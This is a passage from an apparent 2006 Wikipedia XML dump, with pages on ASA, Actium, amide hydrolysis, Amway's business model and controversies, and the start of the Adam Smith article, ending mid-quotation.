[[Category:Pro-choice celebrities|Schwarzenegger, Arnold]]
[[Category:Pro-choice politicians|Schwarzenegger, Arnold]]
[[Category:Worst Actor Razzie Nominee|Schwarzenegger, Arnold]]
[[Category:Worst Supporting Actor Razzie Nominee|Schwarzenegger, Arnold]]
[[Category:Terminator actors]]

[[bg:Арнолд Шварценегер]]
[[bs:Arnold Schwarzenegger]]
[[cs:Arnold Schwarzenegger]]
[[da:Arnold Schwarzenegger]]
[[de:Arnold Schwarzenegger]]
[[eo:Arnold SCHWARZENEGGER]]
[[es:Arnold Schwarzenegger]]
[[fi:Arnold Schwarzenegger]]
[[fr:Arnold Schwarzenegger]]
[[he:ארנולד שוורצנגר]]
[[hr:Arnold Schwarzenegger]]
[[hu:Arnold Schwarzenegger]]
[[id:Arnold Schwarzenegger]]
[[it:Arnold Schwarzenegger]]
[[ja:アーノルド・シュワルツェネッガー]]
[[ko:아널드 슈워제네거]]
[[la:Arnoldus Schwarzeneggerus]]
[[nl:Arnold Schwarzenegger]]
[[no:Arnold Schwarzenegger]]
[[pl:Arnold Schwarzenegger]]
[[pt:Arnold Schwarzenegger]]
[[ru:Шварценеггер, Арнольд Алоис]]
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[[sr:Арнолд Шварценегер]]
[[sv:Arnold Schwarzenegger]]
[[zh:阿诺·施瓦辛格]]</text>
    </revision>
  </page>
  <page>
    <title>ASA</title>
    <id>1807</id>
    <revision>
      <id>41890320</id>
      <timestamp>2006-03-02T11:39:37Z</timestamp>
      <contributor>
        <username>Rmosler2100</username>
        <id>518794</id>
      </contributor>
      <minor />
      <comment>spelling correction</comment>
      <text xml:space="preserve">'''ASA''' may stand for:

* '''ASA''' is the ICAO code for [[Alaska Airlines]]
* [[Accessible Surface Area]]
* Acetylsalicylic acid, acetylsalicylic acid; see [[Salicylic acid]] and [[Aspirin]]
* [[Adaptive Simulated Annealing]] optimization algorithm.
* [[Advertising Standards Authority]] in the [[United Kingdom|UK]]
* [[Amateur Softball Association]]
* [[American Sailing Association]]
* [[American Society of Anesthesiologists]] and a I-V rating of [[anesthetic risk]]
* [[American Sociological Association]]
* [[American Speed Association]], was a second-tier [[stock car racing]] circuit in the [[United States]]
* &quot;American Standards Association&quot;; a former name of the [[American National Standards Institute]] (ANSI)
* ASA [[film speed]]
* [[Anti-Soviet agitation]]
* [[Arlington Hall|Army Security Agency]]; formerly the Signals Security Agency, an [[intelligence agency]] of the [[United States]]
* [[ASA (automobile)|ASA]] was an [[Italy|Italian]] car.
* Associate of the [[Society of Actuaries]]
* [[Anti-Semitic Association]]
* [[Atlantic Southeast Airlines]]
* &quot;Australian Soccer Association&quot;, a former name of the [[football (soccer)]] governing body now known as [[Football Federation Australia]]
* [[Autism Society of America]]
* [[Atlético Sport Aviação]], a football (soccer) club from [[Angola]]
* [[Agremiação Sportiva Arapiraquense]], a football (soccer) club from [[Brazil]]

''See also'': [[Asa]]

{{TLAdisambig}}

[[de:ASA]]
[[fr:ASA]]
[[ja:ASA]]</text>
    </revision>
  </page>
  <page>
    <title>A. N. Whitehead</title>
    <id>1808</id>
    <revision>
      <id>15900272</id>
      <timestamp>2002-03-08T16:40:37Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Alfred North Whitehead]]</text>
    </revision>
  </page>
  <page>
    <title>Aquinas</title>
    <id>1809</id>
    <revision>
      <id>15900273</id>
      <timestamp>2004-01-13T07:02:27Z</timestamp>
      <contributor>
        <username>Snoyes</username>
        <id>8289</id>
      </contributor>
      <minor />
      <comment>Reverted to last edit by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[Thomas Aquinas]]</text>
    </revision>
  </page>
  <page>
    <title>Actium</title>
    <id>1810</id>
    <revision>
      <id>41800778</id>
      <timestamp>2006-03-01T21:07:26Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.101.125.35|209.101.125.35]] ([[User talk:209.101.125.35|talk]]) to last version by 85.157.101.9</comment>
      <text xml:space="preserve">'''Actium''' (mod. Punta), the ancient name of a [[promontory]] in the north of [[Acarnania]] ([[Greece]]) at the mouth of the Sinus Ambracius ([[Gulf of Arta]]) opposite [[Nicopolis]], built by [[Caesar Augustus|Augustus]] on the north side of the strait. On the promontory was an ancient temple of [[Apollo]] Actius, which was enlarged by Augustus, who also, in memory of the [[battle]],
instituted or renewed the quinquennial games called Actia or Ludi Actiaci. Actiaca Aera was a computation of time from the [[Battle of Actium]]. There was on the promontory a small [[town]], or rather [[village]], also called Actium.

== History ==

Actium belonged originally to the [[Corinth|Corinthian]] [[colonist]]s of Anactorium, who probably founded the [[worship]] of Apollo Actius and the Actia games; in the [[3rd century BC|3rd century B.C.]] it fell to the [[Acarnania|Acarnanians]], who subsequently held their synods there. Actium is chiefly famous as the site of [[Caesar Augustus]]' decisive [[battle of Actium|victory]] over [[Mark Antony]] ([[September 2]] [[31 BC|31 B.C.]]). This battle ended a long series of ineffectual operations. The final conflict was provoked by Antony, who is said to have been persuaded by [[Cleopatra VII of Egypt|Cleopatra VII]] to retire to [[Egypt]] and give battle to mask his retreat; but lack of provisions and the growing demoralization of his [[army]] would eventually account for this decision.

== External links ==

* [http://www.acdgthemovie.co.uk/index.html Augustus Caesar: Diamond Geezer — a short film about the Battle of Actium]

[[Category:Archaeological sites in Greece]]
[[Category:Corinthian colonies]]
[[Category:Roman sites in Greece]]

[[da:Actium]]
[[de:Actium]]
[[fr:Actium]]
[[hr:Akcij]]
[[la:Actium]]
[[nl:Actium]]
[[ro:Actium]]
[[fi:Aktion]]
[[sv:Actium]]</text>
    </revision>
  </page>
  <page>
    <title>Amide hydrolysis</title>
    <id>1811</id>
    <revision>
      <id>15900275</id>
      <timestamp>2005-02-14T17:11:03Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <comment>[[Category:Chemical processes]]</comment>
      <text xml:space="preserve">'''Amide hydrolysis''' involves the C-N bond being broken in reaction with water ([[hydrolysis]]). The reaction is [[catalyst|catalysed]] by either [[acid]] or [[alkali]].

[[image:amide_hydrolysis.png]]

'''Procedure:'''

The [[amide]] is heated under reflux with moderately concentrated acqueous acid or alkali. If an ''[[acid]]'' is used, the product contains Ammonium ions. If a ''[[alkali]]'' is used, the [[carboxylic acid]] loses an H&lt;sup&gt;+&lt;/sup&gt; ion and the product contains carboxylate ions.
[[Category:Chemical processes]]</text>
    </revision>
  </page>
  <page>
    <title>Amway</title>
    <id>1812</id>
    <revision>
      <id>41819814</id>
      <timestamp>2006-03-01T23:23:36Z</timestamp>
      <contributor>
        <username>Illusion408</username>
        <id>586799</id>
      </contributor>
      <minor />
      <comment>/* Lines of Sponsorship */</comment>
      <text xml:space="preserve">{{Infobox Company 
| company_name = Amway
| company_logo = [[Image:amwaylogo.gif]]
| company_type = [[Private company|Private]]
| foundation = [[1959]]
| location = [[Ada, Michigan|Ada]], [[Michigan]]
| key_people = [[Steve Van Andel]]&lt;br/&gt;[[Doug DeVos]]&lt;br/&gt;[[Lynn Lyall]]
| industry = [[Multi-level marketing]]
| products = 
| revenue = 
| operating_income = 
| net_income = 
| num_employees =
| homepage = [http://www.amway.com/ www.amway.com]
}}

'''Amway''' is a [[multi-level marketing]] company founded in [[1959]] by [[Jay Van Andel]] and [[Rich DeVos]]. The company's name is a [[portmanteau]] of &quot;American Way.&quot; [http://www.amway.com/en/History/history-10362.aspx] Based in [[Ada, Michigan]], the company &amp; family of companies under [[Alticor]] reported sales of $6.4 billion for the performance year ending August 31, 2005 marking the company’s sixth straight year of growth. Its product lines include personal care products, jewelry, dietary supplements, and [[cosmetics]], among others. Today, Amway conducts business through a number of affiliated companies in more than ninety countries and territories around the world [http://www.amway.com/en/History/global-growth-10106.aspx]. 

In [[1999]] the founders of the Amway corporation launched a sister (and separate) [[Internet]]-based company named [[Quixtar]]. The [[Alticor]] corporation owns both Amway and Quixtar, plus several other concerns. Quixtar replaced the North American business of Amway in [[2001]], with Amway operating in the rest of the world. [[Amivo]] acts as an Amway subsidiary in [[Europe]], as does [[a2k]] in [[Australia]] and [[New Zealand]].

Amway cofounder Jay Van Andel (in 1980) and later his son Steve Van Andel (in 2001) were elected by the board of directors of the [[United States Chamber of Commerce]] as chairman of that organization.

==The Corporation==

Anyone can become an Amway [[Independent Business Owner]] (or ''IBO'', formerly known as a ''Distributor''); IBOs may purchase products from Amway at rates published as [[wholesale]] prices.			

Each product has an associated Points Value (PV), which is the same for that product all around the world. It operates like an international [[currency]], which represents the amount of [[profit]] inherent in the product. The sum of the group's PV determines the commission level (3%, 6%, ... 25%) payable. The Business Volume (BV) turns the PV into the local currency, after removing items such as [[value added tax]] (which obviously cannot be part of the profit). The [[commission]] level is applied to the BV in determining the monthly payments to be received as commission.

As in most MLM businesses, a person wishing to join Amway is &quot;sponsored&quot; by an existing IBO. This involves the new IBO purchasing an &quot;Amway Opportunity Kit&quot; or &quot;Business Pack&quot; and completing the appropriate forms. The kit also contains literature and some starter product. IBOs must pay a yearly fee to remain in Amway, although they are not required to buy a minimum amount of products.

Amway claims to have 4 million distributors worldwide who have renewed at least once, including 500,000 in the U.S. [[Japan]] represents a very fast-growing market with 1 million distributors. Recently, Amway received permission to establish a network in [[China]] and have done sales of over 2 Billion U.S. dollars in 2004. (It should be noted that Amway cannot conduct Chinese operations as it typically does elsewhere due to a ban on direct sales).	

Training organizations exist to offer a variety of business services to IBOs as well as their prospective business partners. This includes training [[seminar]]s, CDs and literature. Often, public meetings are made available as a way of helping present the concept to prospects.

Amway's distributors are organized hierarchically, and the corporation employs a system of ''pin levels'' to reward successful distributors (so-called because attainees are awarded a stick pin to indicate their level.) Higher-level distributors act as mentors to newer distributors, organize regular meetings of their group and (controversially) may derive most of their profit from the sale of motivational tools to them. &quot;Crosslining,&quot; or associating with people from a different &quot;leg&quot; or distributor chain, is generally discouraged. 

===Pin Levels===

Pin levels reflect the level an IBO has reached in the Amway business. As such they are an indication of both the size of an IBO's group and their income, and by extension the IBO's knowledge and expertise in the field. Top pin level IBOs may have groups numbering hundreds or thousands of people, and are in high demand. They also command respect and adulation from their group. High pin levels are named after precious metals or gems to convey a sense of the wealth that they are supposed to represent.

The lowest pin levels reflect successively higher volumes of PV sold through the IBO's group, and are named after the percentage bonus that each level pays.

The first significant pin level is that of ''Platinum'' (formerly known as a ''Direct''.) The term Direct came from distributors beginning to get products sent to them directly from the corporation after attaining this level, as opposed to previously having bought them via their &quot;sponsoring&quot; distributor. (These days the &quot;Direct&quot; concept is defunct, as all IBOs order their product direct from Amway.) This level requires the IBO's group to be moving 7,500 PV (or 10,000 PV in some countries) of product per month, and the Amway recruitment plan customarily shows that such a group will have a total of 70-100 people; although in practice that number is often larger. The income at the Platinum level, generally speaking, is approximately the same as the average full-time wage in the IBO's country of origin, although this will depend on a number of factors including business structure, volume of retail sales versus group sales, and the total PV turnover. Variations typically range from half to over double the average full-time wage.

A significant pin level is that of ''Diamond''. This level requires that six people the IBO has sponsored have themselves reached the Platinum level (or higher). The remuneration at Diamond is (generally) a &quot;six-figure&quot; passive annual income, and advertised to represent financial freedom for the IBO. Almost all IBOs aspire to this pin level because of this &quot;freedom&quot; aspect.

(Note that it cannot merely be assumed that the income of a Diamond IBO is a simple 6x multiple of the income of a Platinum, since there are several other ranks between Direct and Diamond, and monetary bonuses are paid as a result of having attained these as well.)

The highest level is ''Crown Ambassador''. This level used to require at least twenty legs, each at least at the Platinum level. Amway has recently introduced a system called FAA Points, where it is possible to become a Crown Ambassador with only 9 legs - however each needs to have a Diamond within that leg. This is helping to create much more stable sustainable businesses.

Only a small number of people in the world have attained this pin level, and they are in constant demand for recruitment, training and motivational speaking engagements. The remuneration at the Crown Ambassador level runs into the millions annually.

Other pin levels include ''Ruby'' (15,000 PV per month), ''Emerald'' (three Platinum legs), and ''Executive-'', ''Double-'' and ''Triple Diamond'' (nine and twelve and 15 Platinum legs respectively - or with differing numbers of FAA Points.)

On top of the remuneration for PV moved through their group, an IBO may be entitled to additional monetary incentives. These bonuses are paid for meeting growth targets, extraordinary recruitment number, etc and can represent a significant portion of an IBO's income.

Alticor recently started a program that makes it possible to attain the Crown Ambassador level with only 9 legs. If all of the 9 legs are Diamonds, the IBO receives 27 FAA points as every Diamond counts for 3 FAA points. This allows for greater earnings than with the &quot;old-fashioned way.&quot; Additionally, approximately 80 FAA-points would guarantee a 7 figure bonus (USD) per year.

===&quot;Crown Ambassador&quot;===

By way of their seniority most Crown Ambassadors sit on various Amway [[board of directors|boards]], deciding business policy which affect all IBOs worldwide. Most also run, or contribute heavily to, their own motivational organizations. 
	
[[Dexter Yager]], one of the biggest landowners in [[Charlotte, North Carolina]], considered a legend by some within the Amway organization, is probably the most famous American Crown Ambassador. He created a training system of functions, [[book]]s of the month, and [[tape]]s. This has been done by a number of other organizations, such as Network 21 which is the most international of the business systems which run parallel to Amway.

===Lines of Sponsorship===

A line of sponsorship (LOS or [[line of affiliation]]) is an essential organizational concept in Amway organizations. Status is determined by where one is on the hierarchical continuum within the LOS. Those [[upline]] have higher status and those and [[downline]] have less status. [http://www.mlmsurvivor.com/stewart_v_gooch4.htm] A given IBO signs an agreement upon registration that says he/she will not switch LOS ([[Crossline]]). [http://www.quixtar.com/Documents/IWOV/VIS/010-EN/PDFs_Redstar90104/IBO_Support/Registration/LA1037H_Registration.pdf]  Some of Amway LOS have included: [[TEAM (company)|TEAM]] (formerly Team of Destiny), [[InterNET]], [[BWW]], [[WorldWide Dream Builders]] (WWDB), [[Alliance Net Solutions]] (ANS), [[Empire]], [[True North]], [[eFinity]], [[InterNet Associates]] (INA), [[International Connection]], [[International Leadership Development]] (ILD), [[MarkerMan Productions]] (MMP), [[ProAlliance]], [[Interbiz]], [[IBO Alliance]], and [[GlobalNet]].[http://whataboutquixtar.com/forum/index.php?sid=7a767a537c21a12c6a3d4db1dbb75114]

==Controversy==

Amway (and its online incarnation, [[Quixtar]]) have been controversial for years because of allegations that these companies are [[pyramid scheme]]s. Critics claim that most of the products sold by Amway are to the Independent Business Owners (IBOs) themselves for personal consumption rather than to retail consumers who aren't enrolled as IBOs. Buying products from Amway or Quixtar gives IBOs points and they are paid back on the number of points that they generate from personal consumption. It is claimed to be a business opportunity and hence an existing IBO can help others to get an IBO number and divert their buying habit from other stores to Amway or Quixtar. Thus the business grows as a greater number of people join the group. The share of profit is based on the leverage that an IBO has.

Typically, IBOs spend a large amount of money on tapes, books, and seminars (known as &quot;tools&quot; in AMO parlance) which are ostensibly &quot;required&quot; to &quot;hone the business skills of the IBOs&quot;.  These are not provided by Amway itself but organizations often described as [[Amway Motivational Organization]]s (AMO) in general run by people in the higher ranks of the organization. Claims regarding the support material range from &quot;can be of help to an IBO &quot; to &quot;are absolutely required&quot; to &quot;build a big business&quot;. However, undercover investigations like one done by [http://www.msnbc.msn.com/id/4375477/ MSNBC Dateline] in [[April 2003]] suggest that most of the money being earned by these successful individuals was coming from the hidden &quot;tools&quot; business rather than through selling the company products.  Critics also claim that the materials are specifically geared towards encouraging IBOs to continue working for a non-economic return, rather than improving their actual business skills.

[[Dexter Yager]]'s organization, the International Dreambuilders' Association/Digital Alliance (usually simply referred to by the abbreviation IDA) is arguably the largest and best-known of the AMOs, and is probably the one most commonly associated with Amway.

==Political causes/Culture==

Commentators have often (but not strictly accurately) identified Amway as supporting the [[United States Republican Party|US Republican Party]] and other [[right-wing]] causes. Amway Corporation claims to support no political party, yet 100% of its political donations have been to Republicans. [[Rich DeVos]] and [[Jay Van Andel]], who fully owned the company until their retirement (when they delegated authority and substantial ownership to their children), have strongly supported the Republican Party and socially and economically [[conservative]] causes, but that has been with their personal assets, not as a company position ''per se''. Many of Amway's best-known distributors, including Dexter Yager, have also declared themselves Republicans. Amway touts the [[environmental]] benefits of many of its products, and in June [[1989]] the [[United Nations Environmental Programme]]'s Regional Office for North America recognized it for its contributions to the cause of the environment.

As well as tending towards being right wing, the senior distributors also promote a worldview encompassing [[Pentecostal]] [[Christian fundamentalism]], and a general advocacy of [[Baby boomer|boomer]]/[[1950s|50s]] values. The Amway Motivational Organization's (AMO's) perception of the role of women, though, always includes successful women in awards, recognition and speaking engagements. One rarely, if ever, sees a male, married distributor speak on stage without his wife getting equal billing, and explaining her active role in the business. This is a reflection of the AMOs' strong advocacy of the [[1950s]] style [[nuclear family]] model. (Women have successfully developed Amway/Quixtar businesses around the world.)

A significant part of the Amway culture is the promotion and sale of training materials, as well as the attendance at meetings and rallies locally, regionally, and nationally. Training includes education about the topic of generalised, non-Amway specific [[entrepreneurship]]. The purpose of this is to create interest and enthusiasm. They are intended to maintain and increase membership, and to inspire IBOs to be more successful in their businesses. To a casual observer, they have some resemblance to a religious gathering. By involving people in a regular schedule of meetings, people are encouraged to maintain their focus, and to not be distracted by critics and other nay-sayers.

[[Doug Wead]], who was a Special Assistant to former U.S. President [[George H. W. Bush]], is a successful IBO who is a regular speaker at group rallies.

In May of 2005, former Amway President Dick DeVos, one of the wealthiest people in Michigan, and his wife Betsy were listed as two of the largest campaign contributors of the 2004 election. Just days later, Dick announced that he would run against Governor [[Jennifer Granholm]] in [[2006]].

==Supporters==

[[Robert Kiyosaki]], author of the best-selling (but controversial) business books ''[[Rich Dad, Poor Dad]]'' and ''[[Cashflow Quadrant]]'', endorses organizations that, according to him, promote financial literacy. A few of those organizations utilize Amway as a vehicle to develop a business.

==Legal rulings==

In the [[1979]] ''In re. Amway Corp.'' (93 F.T.C. 618) ruling [http://www.ftc.gov/speeches/other/dvimf16.htm#N_19_], the [[Federal Trade Commission]] found that Amway does not qualify as an illegal pyramid scheme since the main aim of the enterprise is the sale of product. It did, however, order Amway to change several business practices and prohibited the company from misrepresenting the amount of profit, earnings or sales its distributors are likely to achieve. Amway was ordered to accompany any such statements with the actual averages per distributor, pointing out that more than half of the distributors do not make any money, with the average distributor making less than $100 per month. The order was violated with a [[1986]] ad campaign, resulting in a $100,000 fine. [http://www.ftc.gov/opa/predawn/F86/amway.htm]
	
In [[1983]], Amway pleaded guilty to [[tax evasion]] and [[Customs (tax)|customs]] [[fraud]] in Canada, resulting in a fine of CDN$25 million, the largest fine ever imposed in that country.
==Other violations==
In 2005, Amway/Quixtar orchestrated an attempt to drown out sites reporting deceptive practices and negative opinions. The [http://www.webraw.com/quixtar/archives/2004/10/the_quixtar_web_initiative.php &quot;Web Initiative&quot;] was flagged as [[Google bombing]], a violation of [http://www.google.com/webmasters/guidelines.html Google's Quality Guidelines].

==External links and references==

* [http://www.amway.com/ Amway Corporation]
*[http://biz.yahoo.com/ic/40/40031.html Yahoo! - Alticor Inc. Company Profile]
*[http://biz.yahoo.com/ic/103/103441.html Yahoo! - Amway Corporation Company Profile]
*[http://www.amway.co.jp/ Amway Japan Limited]

Amway detractors accuse the company of spreading [[right-wing]] beliefs among its distributors: 
*[http://www.motherjones.com/news/special_reports/1996/09/burstein.html Mother Jones]
*[http://io.scoop.co.nz/stories/HL0412/S00154.htm Scoop]. 
This has led to the derogatory term &quot;Amway Christian&quot;, which suggests a professed Christian with a lack of commitment to the social-justice elements of the faith
*[http://www.webraw.com/quixtar/archives/2005/02/amway_christian.php, Webraw]
*[http://www.augustafreepress.com/stories/storyReader$31336 Augusta]
*[http://www.ftc.gov/speeches/other/dvimf16.htm Prepared Statement of Debra A. Valentine, General Counsel for the U.S. FTC, on &quot;Pyramid Schemes&quot;]
*[http://www.ftc.gov/opa/predawn/F86/amway.htm Amway Corp. to Pay $100,000 Civil Penalty (1986), from ftc.gov]

==Resources==

*[http://www.quixtar.com/ Quixtar homepage]
*[http://www.alticor.com/companies/quixtar.html Alticor Inc. (Amway &amp; Quixtar Parent Company)]
*[http://www.pyramidschemealert.org/ Pyramid Scheme Alert] a non profit consumer rights organization.
*[http://dmoz.org/Business/Opportunities/Opposing_Views/Amway_and_Quixtar/ Dmoz.org: Amway and Quixtar] Selection of opposing websites.
*[http://www.merchantsofdeception.com/ Merchants of Deception (MOD) - True Amway Quixtar story by former Emerald IBO] (free PDF eBook by Eric Scheibeler)
*[http://www.letsgetthewordout.com Let's Get the Word Out] - A grassroots movement to help those disassociating from Amway Quixtar and multi-level marketing
*[http://www.msnbc.msn.com/id/4375477/ MSNBC Dateline undercover investigation of Amway, Quixtar and Bill Britt] - transcript
*[http://www.quixtarresponse.com Quixtar's response to the Dateline report]
*[http://www.technorati.com/tags/Amway Technorati 'Amway' tag site] - gathers blog posts, links and images related to Amway
*[http://amquix.info/ Quixtar Business Analysis] - analyzes and criticizes Amway extensively, mostly from a financial perspective
*[http://www.amwaylive.com/ amwaylive.com] A Japanese site where IBOs in Japan order products and find business tools
*[http://www.amquix.info/blakey.html The Blakey Report] A report by a drafter of recent American organized crime legislation, comparing the structure and function of Amway, when combined with the distributor organizations, with that of the American Mafia

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    <title>Adam Smith</title>
    <id>1814</id>
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{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[18th-century philosophy]]&lt;br&gt;(Modern Philosophy) |
  color           = #B0C4DE |

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  image_name      = AdamSmith.jpg |
  image_caption   = Adam Smith  |

  &lt;!-- Information --&gt;
  name             = Adam Smith |
  birth            = [[June 5]], [[1723]] (baptized) ([[Kirkcaldy]], [[Fife]], [[Scotland]]) |
  death            = [[July 17]], [[1790]] ([[Edinburgh]], [[Scotland]]) |
  school_tradition = [[Classical economics]] |
  main_interests   = [[Political philosophy]], [[ethics]], [[economics]] |
  influences       = [[Aristotle]], [[Thomas Hobbes|Hobbes]], [[John Locke|Locke]], [[David Hume|Hume]], [[Baron de Montesquieu|Montesquieu]] |
  influenced       = [[Thomas Malthus|Malthus]], [[David Ricardo|Ricardo]], [[John Stuart Mill|Mill]], [[John Maynard Keynes|Keynes]], [[Karl Marx|Marx]], [[Friedrich Engels|Engels]], [[Founding Fathers of the United States|American Founding Fathers]] |
  notable_ideas    = [[Classical economics]], modern [[free market]], [[division of labour]] |
}}
'''Adam Smith, [[Royal Society of Edinburgh|FRSE]]''' (baptised [[June 5]], [[1723]] – [[July 17]], [[1790]]) was a [[Scotland|Scottish]] [[political economy|political economist]] and [[moral philosophy|moral philosopher]].  His ''[[The Wealth of Nations|Inquiry into the Nature and Causes of the Wealth of Nations]]'' was one of the earliest attempts to study the historical development of industry and commerce in [[Europe]].  That work helped to create the modern academic discipline of [[economics]] and provided one of the best-known intellectual rationales for [[free trade]] and [[capitalism]].

==Biography==
Smith was a son of the controller of the customs at [[Kirkcaldy]], [[Fife]], [[Scotland]]. The exact date of his birth is unknown, but he was baptized at Kirkcaldy on [[June 5]], [[1723]], his father having died some six months previously.  At around the age of 4, he was kidnapped by a band of [[Roma people|Gypsies]], but he was quickly rescued by his uncle and returned to his mother.  Smith's biographer, [[John Rae (biographer)|John Rae]], commented wryly that he feared Smith would have made &quot;a poor Gypsy.&quot;

At the age of fourteen, Smith proceeded to the [[University of Glasgow]], studying moral philosophy under &quot;the never-to-be-forgotten&quot; (as Smith called him) [[Francis Hutcheson (philosopher)|Francis Hutcheson]].  Here Smith developed his strong passion for liberty, reason and free speech.  In [[1740]] he entered [[Balliol College, Oxford]], but as William Robert Scott has said, &quot;the [[University of Oxford|Oxford]] of his time gave little if any help towards what was to be his lifework,&quot; and he left the university in [[1746]]. In [[1748]] he began delivering public lectures in [[Edinburgh]] under the patronage of [[Lord Kames]]. Some of these dealt with rhetoric and ''belles-lettres'', but later he took up the subject of &quot;the progress of opulence,&quot; and it was then, in his middle or late 20s, that he first expounded the economic philosophy of &quot;the obvious and simple system of natural liberty&quot; which he was later to proclaim to the world in his ''Inquiry into the Nature and Causes of the Wealth of Nations''. About [[1750]] he met [[David Hume]], who became one of the closest of his many friends.

In [[1751]] Smith was appointed professor on [[logic]] at the University of Glasgow, transferring in [[1752]] to the chair of [[moral philosophy]]. His lectures covered the fields of [[ethics]], [[rhetoric]], [[jurisprudence]], [[political economy]], and &quot;police and revenue.&quot; In [[1759]] he published his ''[[The Theory of Moral Sentiments]]'', embodying some of his [[Glasgow]] lectures. This work, which established Smith's reputation in his day, was concerned with how human communication depends on sympathy between agent and spectator (that is, the individual and other members of society). His analysis of language evolution was somewhat superficial, as shown only 14 years later by a more rigourous examination of primitive language evolution by [[Lord Monboddo]] in his ''Of the Origin and Progress of Language''{{ref|monboddo}}. Smith's capacity for fluent, persuasive, if rather rhetorical argument is much in evidence. He bases his explanation, not as the third Lord Shaftesbury and Hutcheson had done, on a special &quot;moral sense&quot;, nor (as Hume did) on [[utilitarianism|utility]], but on sympathy.

Smith now began to give more attention to jurisprudence and economics in his lecture and less to his theories of morals. An impression can be obtained as to the development of his ideas on political economy from the notes of his lectures taken down by a student in about [[1763]] which were later edited by [[Edwin Cannan]]{{ref|cannan}}, and from what Scott, its discoverer and publisher, describes as &quot;An Early Draft of Part of The Wealth of Nations&quot;, which he dates about 1763.   Cannan's work appeared as ''Lectures on Justice, Police, Revenue and Arms''.  A fuller version was published as [[Lectures on Jurisprudence]] in the Glasgow Edition of 1976.

At the end of 1763 Smith obtained a lucrative post as tutor to the young [[Henry Scott, 3rd Duke of Buccleuch|Duke of Buccleuch]] and resigned his professorship. From [[1764]]-[[1766|66]] he traveled with his pupil, mostly in France, where he came to know such intellectual leaders as [[Anne Robert Jacques Turgot, Baron de Laune|Turgot]], [[Jean le Rond d'Alembert| Jean D'Alembert]], [[André Morellet]], [[Helvétius]] and, in particular, [[Francois Quesnay]], the head of the [[physiocrats|Physiocratic school]] whose work he respected greatly. On returning home to Kirkcaldy he devoted much of the next ten years to his [[magnum opus]], ''An Inquiry into the Nature and Causes of the Wealth of Nations,'' which appeared in [[1776]]. It was very well-received and popular, and Smith became famous. In [[1778]] he was appointed to a comfortable post as commissioner of customs in Scotland and went to live with his mother in Edinburgh. He died there on July 17, 1790, after a painful illness and was buried in Canongate Churchyard, Royal Mile, Edinburgh. He had apparently devoted a considerable part of his income to numerous secret acts of charity.

Smith's literary executors were two old friends from the Scottish academic world; physicist/chemist [[Joseph Black]] and pioneering geologist [[James Hutton]].  Smith left behind many notes and some unpublished material, but gave instructions to destroy anything that was not fit for publication.  He mentioned an early unpublished ''History of Astronomy'' as probably suitable, and it duly appeared in 1795, along with other material, as [[Essays on Philosophical Subjects]].

==Works==
Shortly before his death Smith had nearly all his manuscripts destroyed. In his last years he seemed to have been planning two major treatises, one on the theory and history of law and one on the sciences and arts. The posthumously published ''Essays on Philosophical Subjects'' ([[1795]]) probably contain parts of what would have been the latter treatise.

''The Wealth of Nations'' was influential since it did so much to create the field of economics and develop it into an autonomous systematic discipline. In the Western world, it is arguably the most influential book on the subject ever published. When the book, which has become a classic [[manifesto]] against [[mercantilism]] (the theory that large reserves of [[bullion]] are essential for economic success), appeared in [[1776]], there was a strong sentiment for [[free trade]] in both [[Kingdom of Great Britain|Britain]] and [[United States|America]]. This new feeling had been born out of the economic hardships and poverty caused by the war. However, at the time of publication, not everybody was immediately convinced of the advantages of [[free trade]]: the British public and [[Palace of Westminster|Parliament]] still clung to mercantilism for many years to come.

''The Wealth of Nations'' also rejects the [[Physiocrats|Physiocratic]] school's emphasis on the importance of land; instead, Smith believed labour was paramount, and that a [[division of labour]] would effect a great increase in production. ''Nations'' was so successful, in fact, that it led to the abandonment of earlier economic schools, and later economists, such as [[Thomas Malthus]] and [[David Ricardo]], focused on refining Smith's theory into what is now known as [[classical economics]] ([[Modern economics]] evolved from this). Malthus expanded Smith's ruminations on [[overpopulation]], while Ricardo believed in the &quot;[[iron law of wages]]&quot; — that overpopulation would prevent wages from topping the subsistence level. Smith postulated an increase of wages with an increase in production, a view considered more accurate today.

One of the main points of ''The Wealth of Nations'' is that the free market, while appearing chaotic and unrestrained, is actually guided to produce the right amount and variety of goods by a so-called &quot;[[Invisible Hand|invisible hand]]&quot;. If a product shortage occurs, for instance, its price rises, creating a profit margin that creates an incentive for others to enter production, eventually curing the shortage. If too many producers enter the market, the increased [[competition]] among manufacturers and increased supply would lower the price of the product to its production cost, the &quot;[[natural price]]&quot;.  Even as profits are zeroed out at the &quot;natural price,&quot; there would be incentives to produce goods and services, as all costs of production, including compensation for the owner's labour, are also built into the price of the goods.  If prices dipped below a zero profit, producers would drop out of the market; if they were above a zero profit, producers would enter the market. Smith believed that while human motives are often [[selfishness|selfish]] and [[Greed (emotion)|greedy]], the competition in the free market would tend to benefit society as a whole by keeping prices low, while still building in an incentive for a wide variety of goods and services. Nevertheless, he was wary of businessmen and argued against the formation of [[monopoly|monopolies]].

Smith vigorously attacked the antiquated government restrictions which he thought were hindering industrial expansion. In fact, he attacked most forms of government interference in the economic process, including [[tariff]]s, arguing that this creates inefficiency and high prices in the long run. This theory, now referred to as &quot;[[laissez-faire]]&quot;, which means &quot;let them do&quot;, influenced government legislation in later years, especially during the [[19th century]]. (However, it must be remembered that Smith advocated for a Government that was active in sectors other than the economy: he advocated for public education of poor adults; for institutional systems that were not profitable for private industries; for a judiciary; and for a standing army.) 

Two of the most famous and oft-quoted passages in ''The Wealth of Nations'' are:

:''It is not from the benevolence of the butcher, the brewer, or the baker that we expect our dinner, but from their regard to their own interest. We address ourselves, not to their humanity but to their self-love, and never talk to them of our own necessities but of their advantages.''

